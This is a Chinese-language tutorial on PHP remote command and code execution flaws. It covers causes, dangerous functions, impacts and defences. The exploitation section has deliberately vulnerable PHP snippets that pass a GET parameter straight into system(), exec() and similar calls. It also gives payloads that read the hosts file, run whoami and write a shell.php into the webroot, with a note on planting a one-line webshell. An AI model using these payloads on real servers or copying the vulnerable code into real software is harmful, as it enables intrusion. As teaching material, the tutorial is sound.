RCE 命令执行+代码执行 漏洞
0x00 RCE漏洞 概述
- RCE = 命令执行+代码执行
漏洞的产生原因
-
代码层过滤不严。应用程序直接或间接使用了动态执行命令的危险函数 ,并且这个函数的运行参数是可控的
-
系统的漏洞造成命令注入
漏洞的本质
- 应用有时需要调用一些执行系统命令的函数,当服务器没有严格过滤用户提供的参数 时,就有可能导致用户提交恶意代码被服务器执行 ,从而造成命令执行漏洞。
涉及到的函数
-
PHP中常见的代码执行函数
-
eval()、 assert()、 preg_replace()、create_function()
-
array_map()、call_user_func()、 call_user_func_array()、array_filter()
-
命令执行函数
-
system()、exec()、 popen()、 passthru()、 shell_exec()、反引号(``)
0x01 RCE漏洞 原理
- web应用对用户的输入没有经过严格过滤就直接带入危险函数中执行
0x02 RCE漏洞 危害
-
继承 Web 服务器程序权限(Web 用户权限),去执行系统命令
-
继承 Web 服务器权限,读写文件
-
反弹 Shell
-
控制整个网站
-
控制整个服务器
0x03 RCE漏洞 防御
-
尽量 少使用执行命令函数 或者 禁用 disable_functions
-
在进入执行命令的函数之前,对参数进行过滤 ,对敏感字符进行转义
-
参数值尽量使用引号包括 ,并在拼接前调用 addslashes 进行转义
0x04 RCE漏洞 利用
相关函数使用
system()
-
说明:能够将字符串作为 OS 命令执行,自带输出功能
-
测试参考代码:
<meta charset='gb2312'>
<?php
if(isset($_GET['cmd']))
{
echo "<pre>";
system($_GET['cmd']);
}
?>
// 提交的URL:[?cmd= ipconfig]
passthru()
-
说明:执行外部命令,与 system()类似,但是该函数会直接将结果输出 ,无需输出执行
-
测试参考代码:
<meta charset="gb2312">
<?php
if(isset($_GET['cmd']))
{
echo "<pre>";
passthru($_GET['cmd']);
}
// 提交的URL:[?cmd= ipconfig]
exec()
-
说明:能将字符串作为 OS 命令执行,但无输出 ,需要输出执行结果
-
注意:exec() 只输出最后一行的数据
-
测试参考代码:
<meta charset = "gb2312">
<?php
if(isset($_GET['cmd']))
{
echo "<pre>";
print exec($_GET['cmd']);
}
?>
// 提交的URL:[?cmd=ipconfig]
shell_exec()
-
说明 L 执行命令并以字符串的形式,返回完整的信息,但是函数无回显 ,需要输出执行结果
-
测试参考代码:
<meta charset = "gb2312">
<?php
if(isset($_GET['cmd']))
{
echo "<pre>";
print shell_exec($_GET['cmd']);
}
?>
// 提交的URL:[?cmd=ipconfig]
popen()
-
说明:能够执行 OS 命令,但是该函数并不是返回命令结果,而是返回一个文件指针
-
测试参考代码:
<meta charset = "gb2312">
<?php
if(isset($_GET['cmd']))
{
$cmd=$_GET['cmd'].">> 1.txt";
popen($cmd,'r');
}
?>
// 提交的URL:[?cmd=whoami]
``(反引号)
-
说明:反引号[``]内的字符串,也会被解析成 OS 命令,背后调用的是 shell_exec() 函数
-
测试参考代码:
<meta charset = "gb2312">
<?php
if(isset($_GET['cmd']))
{
$cmd=$_GET['cmd'];
print `$cmd`;
}
?>
// 提交的URL:[?cmd=whoami]
漏洞利用过程
- 权限问题
OS 命令注入漏洞,攻击者直接继承 WEB 用户权限,在服务器上执行任意命令 ,危害特别大。以下命令均在 windows 系统下测试成功
- 提权过程
- 查看系统文件
payload:[?cmd=type c:\windows\system32\drivers\etc\hosts],查看系统 hosts 文件
- 显示当前路径
payload:[?cmd=cd ]
- 显示当前权限
payload:[?cmd=whoami ]
- 写文件
payload:[?cmd=echo "" > C:\phpStudy\WWW\Command\shell.php]
页面没有报错,说明文件写入成功。访问 shell.php 文件,同理我们可以写入一个一句话木马。